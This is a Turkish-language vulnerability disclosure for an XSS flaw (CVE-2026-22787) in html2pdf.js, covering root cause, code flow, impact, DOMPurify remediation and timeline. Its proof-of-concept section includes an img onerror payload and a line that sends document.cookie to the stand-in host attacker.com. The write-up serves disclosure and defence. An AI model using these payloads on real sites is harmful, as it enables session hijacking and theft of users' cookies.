CVE-2026-22787: html2pdf.js Kütüphanesinde Cross-Site Scripting (XSS) Zafiyeti
html2pdf.js kütüphanesinde bir Cross-Site Scripting (XSS) zafiyeti tespit ettim. Zafiyet, sanitize edilmemiş kullanıcı input’larının doğrudan innerHTML property’sine atanması nedeniyle ortaya çıkıyor. Bu, saldırganların uygulama bağlamında keyfi JavaScript kodu çalıştırmasına, potansiyel olarak session hijacking, veri hırsızlığı ve yetkisiz aksiyonlara yol açabilir.
Zafiyet Özeti
CVE-2026-22787 olarak kayıtlı bu zafiyet, html2pdf.js kütüphanesinin < 0.14.0 versiyonlarını etkiler. Zafiyet, kütüphanenin string source kullanıldığında yeterince sanitize edilmemiş input’ları DOM’a eklemesi nedeniyle ortaya çıkar.
Etkilenen versiyonlar: < 0.14.0
Düzeltilmiş versiyon: 0.14.0
CVSS Skoru: 8.7 (High)
Zafiyet Detayları
Etkilenen Bileşen
Dosya: src/worker.js
Satır: 71
Link: GitHub - worker.js#L71
Fonksiyon: Worker.prototype.from()
Zafiyetli Kod
case 'string': return this.set({ src: createElement('div', {innerHTML: src}) });
Root Cause
html2pdf() bir string parametre ile çağrıldığında, kütüphane kullanıcı kontrolündeki input’u herhangi bir sanitization olmadan yeni oluşturulan bir div elementinin innerHTML property’sine doğrudan atar. Bu, Worker sınıfının from() metodunda gerçekleşir.
Sorun:
- Kullanıcı input’u doğrudan
innerHTML‘e atanıyor - Hiçbir sanitization yapılmıyor
- Event handler’lar ve diğer injection vector’ları çalışıyor
Saldırı Vektörü
- Saldırgan, JavaScript payload içeren kötü amaçlı HTML string sağlar
- html2pdf.js bu string’i
innerHTML‘e atar (satır 71, worker.js) - Element DOM’a eklenir (satır 125, worker.js)
- Element DOM’a eklendiğinde browser JavaScript’i çalıştırır
- XSS payload kurbanın browser bağlamında çalışır
Kısmi Mitigasyon
Kütüphane, src/utils.js (satır 20-23) içinde <script> tag’lerini kaldıran kısmi bir mitigasyon içerir:
if (opt.innerHTML) {
el.innerHTML = opt.innerHTML;
var scripts = el.getElementsByTagName('script');
for (var i = scripts.length; i-- > 0; null) {
scripts[i].parentNode.removeChild(scripts[i]);
}
}
Ancak, bu mitigasyon yetersizdir çünkü sadece <script> tag’lerini kaldırır ve şunlara karşı koruma sağlamaz:
- Event handler’lar (
onerror,onclick,onload, vb.) - Embedded script içeren SVG
- JavaScript URL’leri içeren
<iframe> - Diğer HTML injection vector’ları
Proof of Concept
PoC 1: Temel XSS (Alert)
Payload:
<img src=x onerror="alert(document.cookie)">
Exploitation Kodu:
const maliciousHTML = '<img src=x onerror="alert(document.cookie)">';
html2pdf()
.from(maliciousHTML)
.set({
margin: 1,
filename: 'xss-test.pdf',
image: { type: 'jpeg', quality: 0.98 },
html2canvas: { scale: 2 },
jsPDF: { unit: 'in', format: 'letter', orientation: 'portrait' }
})
.save();
Sonuç: PDF generation süreci başladığında bir alert dialog görünür, XSS execution’ı doğrular.
PoC 2: Cookie Çalma
Daha gerçekçi bir saldırı senaryosu:
const maliciousHTML = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">';
html2pdf()
.from(maliciousHTML)
.save();
Bu payload, kurbanın cookie’lerini saldırganın sunucusuna gönderir.
Teknik Analiz
Kod Akışı
- Input Reception (
src/index.js:20)return worker.from(src).save(); - String Processing (
src/worker.js:71)case 'string': return this.set({ src: createElement('div', {innerHTML: src}) }); - DOM Injection (
src/worker.js:125)document.body.appendChild(this.prop.overlay); - XSS Execution
innerHTMLset edildiğinde, browser HTML’i parse eder- Event handler’lar (örneğin,
onerror) kaydedilir - Element DOM’a eklendiğinde, event’ler tetiklenir
- JavaScript sayfa bağlamında çalışır
Mevcut Mitigasyonun Neden Başarısız Olduğu
src/utils.js‘deki script tag kaldırma yetersizdir çünkü:
- Event Handler Bypass:
onerror,onclick,onloadgibi event handler’lar script tag değildir - SVG Vector’ları: SVG elementleri embedded JavaScript içerebilir
- Iframe Vector’ları: JavaScript URL’leri içeren iframe’ler kod çalıştırabilir
- Timing: Script kaldırma
innerHTMLatamasından sonra gerçekleşir, ancak event handler’lar zaten kaydedilmiştir
Browser Davranışı
Modern browser’lar şu durumlarda JavaScript çalıştırır:
innerHTMLevent handler içeren HTML ile set edildiğinde- Event handler içeren elementler DOM’a eklendiğinde
- Bu, html2canvas’ın elementi işlemesinden önce gerçekleşir
Etki Değerlendirmesi
Bu zafiyet, html2pdf.js kullanan uygulamalarda ciddi güvenlik riskleri oluşturur:
Potansiyel Saldırı Senaryoları
- Session Hijacking: Cookie’lerin çalınması
- Veri Hırsızlığı: Sayfa içeriğinin saldırgana gönderilmesi
- Keylogging: Kullanıcı input’larının yakalanması
- Phishing: Sahte form’ların enjekte edilmesi
- CSRF: Yetkisiz aksiyonların tetiklenmesi
Gerçek Dünya Etkisi
- E-ticaret siteleri: PDF invoice generation sırasında kullanıcı verileri risk altında
- Raporlama sistemleri: Kullanıcı input’larından PDF oluşturma sırasında zafiyet
- Form processing: Kullanıcı form verilerinden PDF oluşturma sırasında risk
Remediation
Çözüm: DOMPurify ile Sanitization
Her zaman kullanıcı input’unu sanitize edin:
const DOMPurify = require('dompurify');
const sanitizedHTML = DOMPurify.sanitize(userInput);
html2pdf().from(sanitizedHTML).save();
Güncelleme
html2pdf.js’in 0.14.0 versiyonuna güncelleyin. Bu versiyon, text source’ları sanitize etmek için DOMPurify kullanır.
Güncelleme komutu:
npm update html2pdf.js
Workaround
Eski versiyonları kullananlar için, html2pdf.js’e geçmeden önce tüm text input’ları güvenli bir şekilde sanitize etmelidir.
Örnek workaround:
import DOMPurify from 'dompurify';
function safeHtml2Pdf(html) {
const sanitized = DOMPurify.sanitize(html);
return html2pdf().from(sanitized).save();
}
Disclosure Timeline
- İlk Rapor: GitHub Security Advisory’ye bildirildi
- CVE Ataması: CVE-2026-22787
- Düzeltme: html2pdf.js@0.14.0
- GitHub Advisory: GHSA-w8x4-x68c-m6fc
Sonuç
CVE-2026-22787, html2pdf.js kütüphanesinde ciddi bir XSS zafiyetidir. Zafiyet, kullanıcı input’larının sanitize edilmeden innerHTML‘e atanması nedeniyle ortaya çıkar. Kütüphanenin kısmi mitigasyonu (<script> tag kaldırma) yetersizdir çünkü event handler’lar ve diğer injection vector’larına karşı koruma sağlamaz.
Ana çıkarımlar:
- Kullanıcı input’ları her zaman sanitize edilmelidir
innerHTMLkullanımı güvenlik riski oluşturur- Kısmi mitigasyonlar yetersiz olabilir
- DOMPurify gibi sanitization kütüphaneleri kullanılmalıdır
- Kütüphaneleri güncel tutmak kritiktir
Bu zafiyet, web uygulamalarında kullanıcı input’larının güvenli bir şekilde işlenmesinin ne kadar önemli olduğunu gösterir. Geliştiriciler, kullanıcı verilerini DOM’a eklemeden önce her zaman sanitization yapmalıdır.
İlgili İçerik
- SQL Injection Zafiyeti: GeoPandas to_postgis() Fonksiyonunda Güvenlik Açığı
- Package Takeover: Nimble Package Manager’da Supply Chain Security Zafiyeti
Kaynaklar: